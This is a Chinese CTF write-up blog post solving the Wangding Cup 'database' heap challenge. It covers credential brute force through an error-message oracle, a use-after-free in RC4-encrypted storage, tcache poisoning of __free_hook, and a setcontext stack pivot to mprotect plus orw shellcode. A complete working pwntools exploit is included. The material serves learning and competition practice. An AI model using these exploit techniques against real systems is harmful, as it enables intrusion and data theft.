Zj_W1nd's BLOG

How2Heap实战——网鼎杯database wp

2024/11/10

题目分析

Glibc2.27,64位保护全开,沙箱ban掉了execve和execveat,打orw。

爆破用户名和密码

这个程序上来先在远程打开了用户名和密码的文件要我们输入,找了半天没找到题目里能有什么提示,还是当时队里做逆向的师傅搞定的。观察发现,函数比较输入的逻辑比较奇怪。先调用了一个自己实现的strcmp,这里对我们的用户输入调用了strlen,然后按照用户输入的长度去比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall my_strcmp(const char *a1, char *a2)
{
unsigned int i; // [rsp+18h] [rbp-8h]
unsigned int v4; // [rsp+1Ch] [rbp-4h]

v4 = strlen(a1);
for ( i = 0; i < v4; ++i )
{
if ( a1[i] != a2[i] )
return 0xFFFFFFFFLL;
}
return 0LL;
}

中间有不一样的就返回“Invalid username”,而如果全一样再去比较用户输入和指定用户名/密码的长度,不一样再输出"Invalid password".这两种不同的回显加上源程序死循环调用的特性,让我们可以轻易的利用这一点去对用户名和密码进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while ( 1 )
{
while ( 1 )
{
puts("Hello, Welcome to the Security Database. Login first!");
puts("Input your username:");
memset(s, 0, 0x11uLL);
input(0, s, 0x10uLL);
if ( !(unsigned int)my_strcmp(s, ptr) )// 对我们的输入调了strlen,\0绕过?
break;
puts("Invalid username!");
}
v4 = strlen(s);
if ( v4 == strlen(ptr) )
break;
puts("Invalid username length!");
}
puts("Username correct!");
puts("Input your password:");

下面是这个逐字节爆破的思路:让char从0到0xFF遍历,成功了(回显不一样)就加到发送内容的后面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def crack_username():
username = b''
while True:
for char in range(1, 128):
if(char == 10):
continue
crack=username + char.to_bytes()
p.sendlineafter(b'Input your username:', crack)
p.recvline()
result=p.recvline()
if(result==b'Invalid username!\n'):
continue
elif(result==b'Invalid username length!\n'):
username += char.to_bytes()
break
elif(result==b'Username correct!\n'):
username += char.to_bytes()
print(username)
return username
# 4dm1n
# 985da4f8cb37zkj
def crack_password():
password=b'985da4f8cb37zkj'
while True:
for char in range(1,128):
if(char == 10):
continue
crack=password + char.to_bytes()
p.sendlineafter(b'Input your username:', b'4dm1n')
p.sendlineafter(b'Input your password:', crack)
p.recvline()
result=p.recvline()
if(result==b'Invalid password!\n'):
continue
elif(result==b'Invalid password length!\n'):
password += char.to_bytes()
print(password)
break
elif(result==b'Password correct!\n'):
password += char.to_bytes()
print(password)
return password

控制流与加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
switch ( input_10() )
{
case 1:
save_data();
break;
case 2:
read_data();
break;
case 3:
delete_data(); // UAF here
break;
case 4:
edit_data();
break;
case 5:
exit(1);
default:
puts("Error!");
break;
}

增查删改,程序允许通过exit函数退出。指针和size在全局变量数组里管理,可以看到free存在UAF漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int delete_data()
{
size_t v1; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch]
char *ptr; // [rsp+8h] [rbp-8h]

puts("Input the key: ");
v2 = input_10();
if ( v2 > 0xF )
return puts("Invalid key!");
ptr = (char *)chunks[2 * v2 + 1];
if ( ptr )
{
v1 = strlen(aS4cur1tyP4ssw0);
encrypt1(byte_203180, aS4cur1tyP4ssw0, v1);
encrypt2(byte_203180, ptr, LODWORD(chunks[2 * v2]));
free(ptr);
}
return puts("Success!");
}

这个程序还有一个点是加密,这是一个用了密钥的对称加密。对常见的加密算法不是很熟所以当时放弃了,其实这是一个rc4。

RC4由伪随机数生成器和异或运算组成。RC4的密钥长度可变,范围是[1,255]。RC4一个字节一个字节地加解密。给定一个密钥,伪随机数生成器接受密钥并产生一个S盒。S盒用来加密数据,而且在加密过程中S盒会变化。由于异或运算的对合性,RC4加密解密使用同一套算法。

下面就是一个典型的rc4加密算法初始化的过程,一般初始化要包含三个参数:Sbox数组,密钥,密钥的长度。

  1. 初始化存储0-255字节的Sbox(其实就是一个数组)

  2. 填充key到256个字节数组中称为Tbox(你输入的key不满256个字节则初始化到256个字节)

  3. 交换s[i]与s[j] i 从0开始一直到255下标结束. j是 s[i]与T[i]组合得出的下标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall encrypt1(char *a1, char *key, unsigned __int64 a3)
{
char v4; // [rsp+27h] [rbp-119h]
int i; // [rsp+28h] [rbp-118h]
int j; // [rsp+28h] [rbp-118h]
int v7; // [rsp+2Ch] [rbp-114h]
_BYTE v8[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v9; // [rsp+138h] [rbp-8h]

v9 = __readfsqword(0x28u);
v7 = 0;
memset(v8, 0, 0x100uLL);
for ( i = 0; i <= 0xFF; ++i )
{
a1[i] = i;
v8[i] = key[i % a3];
}
for ( j = 0; j <= 255; ++j )
{
v7 = ((char)v8[j] + v7 + (unsigned __int8)a1[j]) % 256;
v4 = a1[j];
a1[j] = a1[v7];
a1[v7] = v4;
}
return __readfsqword(0x28u) ^ v9;
}

初始化s盒后就是加密了。加密同样接受三个参数:初始化好的sbox,待加密的明文,以及明文长度。

RC4加密其实就是遍历数据,将数据与sbox进行异或加密,而在此之前还需要交换一次sbox的数据交换完之后 再把s[i] + s[j]的组合当做下标再去异或.下面是本题中的加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall encrypt2(char *a1, char *a2, unsigned __int64 a3)
{
unsigned __int64 result; // rax
char v4; // [rsp+23h] [rbp-15h]
int v5; // [rsp+24h] [rbp-14h]
int v6; // [rsp+28h] [rbp-10h]
unsigned __int64 i; // [rsp+30h] [rbp-8h]

v5 = 0;
v6 = 0;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + (unsigned __int8)a1[v5]) % 256;
v4 = a1[v5];
a1[v5] = a1[v6];
a1[v6] = v4;
a2[i] ^= a1[(unsigned __int8)(a1[v5] + a1[v6])];
}
return result;
}

程序在读写的时候都会调用这套加密,创建chunk的时候会将输入加密后存储,read的时候会先解密读完再加密写回去,free则是会先解密再free(还算有点良心?)。

攻击思路(重要)

glibc2.27的noexecve的简单沙箱,我们肯定是setcontext栈迁移了,2.27还不用FSOP,直接用hook就行。

什么是setcontext?

这是一个glibc库中的函数,用于恢复上下文。询问ai给出的答案是,这个函数一是可以用于在用户态实现线程和协程,二是作为POSIX标准的残留接口保留了下来。

这个函数牛逼在什么地方呢,它既然是涉及到切换上下文,那么肯定是对大量的寄存器赋值。这个函数中有mov rsp,xxx这样的gadget,我们可以利用这个东西在用户态劫持栈,实现
stack pivot。这种攻击方式在沙箱heap中非常常见,如果我们能劫持一次控制流,就总能想办法用这个gadget实现栈迁移最后ROP。

在glibc较低的版本中,非常好的地方是,这个函数对rsp赋值还是基于rdi的。以本题为例,setcontext+53的地方存放的是这样的一条指令:mov rsp, [rdi+0xa0]。rdi是我们喜闻乐见的,好控制的寄存器,因此这个很好用。如果我们函数第一参数是一个可控的指针,那就任意栈迁移了,于是可以结合free_hook去利用。

另外,在较高的版本中比如glibc2.35,这个函数不再依据rdi赋值,而是变成了rdx(偏移也变成了setcontext+61)。这让我们的利用难度有所增加但是不多,因为我们能找到交换rdx和rdi的gadget。以glibc2.35为例,就在0x167420这么一个gadget:0x0000000000167420 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20], 将rdi+8指向的内容赋值给rdx,将rax写入栈顶,然后跳到rdx+0x20指向的位置执行。这样我们就能间接地实现将rdi和rdx关联起来,利用rdi给rdx赋值然后再setcontext

最后setcontext这段函数在给rsp赋值后,会mov rcx,[rdi+0xa8]然后push rcx最后ret,因此我们在fakestack地址+0x8的位置就可以写入我们接下来要执行的内容。好用

另外,基于上下文切换还存在一种叫做“SROP”的攻击方法,是利用信号中断等方式,通过在栈上伪造上下文达成控制流劫持,和我们用setcontexgt的gadget有点点类似

回到题目…

因此,在低版本还有hook的时候,我们对于沙箱heap题的思路就是free_hook+setcontext栈迁移rop。rop有两种思路,一种是纯rop去libc中找orw,另一种是写shellcode,然后用mprotect先把heap可执行。由于第一次接触时看的exp采用后者,下面笔者也使用后者的方法。

对于开了沙箱的题目,首先应该动调到我们能够手动控制分配的地方,观察堆的排布,从而确定我们接下来分配的size和堆风水需求,一般tcache和smallbin会比较乱,一般会挑一个size通过取和放将tcache填满后进行我们后续的工作。

对本题来说具体的攻击步骤如下:

  1. 简单堆风水,然后用unsortedbin泄露libc,用tcache泄露堆地址

  2. 准备工作,先在一个chunk1中布局我们的fakestack(具体内容见后续)

  3. 然后在另一个chunk2里填充0xa0垃圾数据后,在0xa0偏移写入fakestack的栈顶(chunk1对应位置),然后在0xa8写入ret的gadget地址

  4. 任意地址分配chunk分配到freehook处,在freehook写入setcontext+53的地址

  5. 最后free掉chunk2,触发

此时经历了下述流程:
free_hook(rdi=chunk2_addr)
->(mov rsp,[rdi+0xa0],此时rsp内是chunk1_addr,栈已经被换)
->(mov rcx,[rdi+0xa8];push rcx,此时栈顶是一个ret的地址)
->ret两次,第二次ret就启动了我们fakestack上的rop链

一些板子

关于fakestack的布置,这里写一个板子,因为我们首先要调用mprotect,因此要这么布置(开始可以填很多ret无所谓的):

1
2
3
4
5
6
7
8
9
10
p64(ret)
+p64(pop_rdi)
+p64(heap_base)
+p64(pop_rsi)
+p64(0x7000)(size,无所谓,大点也好)
+p64(pop_rdx)
+p64(0x7)
+p64(mprotect)(直接libc.sym就行)
+p64(heap_base+0x1670+0x58)(指向shellcode,也就是下一行的起始地址就行)
+asm(shellcode)(orw)

然后shellcode如下,buffer随便写一个能读写的地址就行,heap+0x3000这种

1
2
3
4
5
shellcode = (
shellcraft.open("./flag")
+ shellcraft.read("rax", buffer, 0x50)
+ shellcraft.write(1, buffer, 0x50)
)

总结

最简单的沙箱堆,但是也花了小半天来复现。更高的版本也无非就是用fsop的链子,那一次的控制流劫持换到其他点然后后续还是一样的。或者是先跳到magic_gadget,就是麻烦了点。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# p=remote("0192d66238177833936ff330dfec8bbd.huj5.dg04.ciihw.cn",43631)
# charset = "\nabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

# # 爆破用户名
# def crack_username():
# username = b''
# while True:
# for char in range(1, 128):
# if(char == 10):
# continue
# crack=username + char.to_bytes()
# p.sendlineafter(b'Input your username:', crack)
# p.recvline()
# result=p.recvline()
# if(result==b'Invalid username!\n'):
# continue
# elif(result==b'Invalid username length!\n'):
# username += char.to_bytes()
# break
# elif(result==b'Username correct!\n'):
# username += char.to_bytes()
# print(username)
# return username
# # 4dm1n
# def crack_password():
# password=b'985da4f8cb37zkj'
# while True:
# for char in range(1,128):
# if(char == 10):
# continue
# crack=password + char.to_bytes()
# p.sendlineafter(b'Input your username:', b'4dm1n')
# p.sendlineafter(b'Input your password:', crack)
# p.recvline()
# result=p.recvline()
# if(result==b'Invalid password!\n'):
# continue
# elif(result==b'Invalid password length!\n'):
# password += char.to_bytes()
# print(password)
# break
# elif(result==b'Password correct!\n'):
# password += char.to_bytes()
# print(password)
# return password

# print(crack_username())
from pwn import *
import re
from Crypto.Cipher import ARC4
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf=ELF("./pwn",checksec=False)
p=elf.process()
libc=elf.libc
def add(idx,size,value):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Input the key: ',str(idx).encode())
p.sendlineafter(b'Input the value size: ',str(size).encode())
p.sendlineafter(b'Input the value: ',value)
p.recvuntil(b'Success!\n')

def show(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Input the key: ',str(idx).encode())
p.recvuntil(b'The result is:\n\t[key,value] = ')
p.recvuntil(b',')
value=p.recvline()[:-1]
p.recvuntil(b'Success!\n')
# print(value)
return value

def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Input the key: ',str(idx).encode())
p.recvuntil(b'Success!\n')

# size取决于我们创建时的输入
def edit(idx,value):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Input the key: ',str(idx).encode())
p.sendlineafter(b'Input the value: ',value)
p.recvuntil(b'Success!\n')

key = b's4cur1ty_p4ssw0rd'
cipher = ARC4.new(key)
# 4dm1n
# 985da4f8cb37zkj
# s4cur1ty_p4ssw0rd
# glibc 2.27 heap 沙箱no execve
p.sendlineafter(b'Input your username:', b'4dm1n')
p.sendlineafter(b'Input your password:', b'985da4f8cb37zkj')

# 0-6 填入tcache,7进unsorted,加一个8分割
for i in range(0,9):
add(i,(0x290),b'a'*0x290)
#print(f"alloc {i}")

for i in range(0,8):
delete(i)
#print(f"delete {i}")

leak_addr=show(7)# delete会还原内容,而泄露会再过一遍rc4
leak_addr=cipher.decrypt(leak_addr)
leak_addr=u64(leak_addr[:8])
main_arena_addr=leak_addr-96
libc_base=main_arena_addr-0x3ebca0+0x60
libc.address=libc_base
print(f"[+] libc_base: {hex(libc_base)}")

# 每次重新初始化,这是个流密码不然会继续,草
cipher=ARC4.new(key)
leak_addr=show(1)
leak_addr=cipher.decrypt(leak_addr)
print(leak_addr)
leak_addr=u64(leak_addr[:8])
heap_base=leak_addr-0x1670
print(f"[+] heap_base: {hex(heap_base)}")

# chunks : $rebase(0x203080)

# 开始
free_hook=libc.symbols['__free_hook']
# malloc_hook=libc_base + 0x3ebc30
print("[+] free_hook: ",hex(free_hook))
gadget=libc.symbols['setcontext']+53
# open_addr=libc.symbols['open']
# read_addr=libc.symbols['read']
# write_addr=libc.symbols['write']
# print("[+] orw: ",hex(open_addr),hex(read_addr),hex(write_addr))
mprotect=libc.symbols['mprotect']
add(9,0x40,b'a'*0x40) # 把tcache里开始的0x50拿出来
delete(9)
cipher=ARC4.new(key)
payload1=p64(free_hook)
payload1=cipher.encrypt(payload1)
edit(9,payload1)
add(9,0x40,b'a'*0x40) # 下一个是freehook

# fake_stack=heap_base+0x1670
pop_rdi=libc_base+0x2164f
pop_rsi=libc_base+0x23a6a
pop_rdx=libc_base+0x1b96
ret = libc_base + 0x8aa
buffer=heap_base+0x3000 # 随便写的
shellcode = (
shellcraft.open("./flag")
+ shellcraft.read("rax", buffer, 0x50)
+ shellcraft.write(1, buffer, 0x50)
)
shellcode=b'\x00'*0x10+p64(ret)+p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x7000)+p64(pop_rdx)+p64(0x7)+p64(mprotect)+p64(heap_base+0x1670+0x58)+asm(shellcode)
# fake_stack=b'\x00'*0x10
# fake_stack+=p64(pop_rdi)+p64(heap_base+0x24c8)+p64(pop_rsi)+p64(0)+p64(libc_base+0x10fbf0)
# fake_stack+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+p64(0x40)+p64(libc_base+0x110020)
# fake_stack+=p64(pop_rdi)+p64(1)+p64(libc_base+0x1100f0)
# fake_stack+=b'flag'

# tmd有点看运气,地址随机里面有0a就gg
gdb.attach(p,'b free')
# free1 将栈迁移到0上
# 还有一个问题就是迁移时候的指令状态
payload2=b'z'*0xa0+p64(heap_base+0x1670+0x10)+p64(ret)
# 读到0xa会断,所以free掉让它变明文???

cipher=ARC4.new(key)
edit(1,payload2)#这个能通

cipher=ARC4.new(key)
edit(0,shellcode)
delete(0)

cipher=ARC4.new(key)
add(10,0x40,cipher.encrypt(p64(gadget)))
#free_hook写入了gadget,下次free会将栈迁移到free的chunk+0xa0写的内容
# 到这都成功了

delete(1)
p.interactive()
CATALOG
  1. 1. 题目分析
    1. 1.1. 爆破用户名和密码
    2. 1.2. 控制流与加密
  2. 2. 攻击思路(重要)
    1. 2.1. 什么是setcontext?
    2. 2.2. 回到题目…
    3. 2.3. 一些板子
  3. 3. 总结
  4. 4. EXP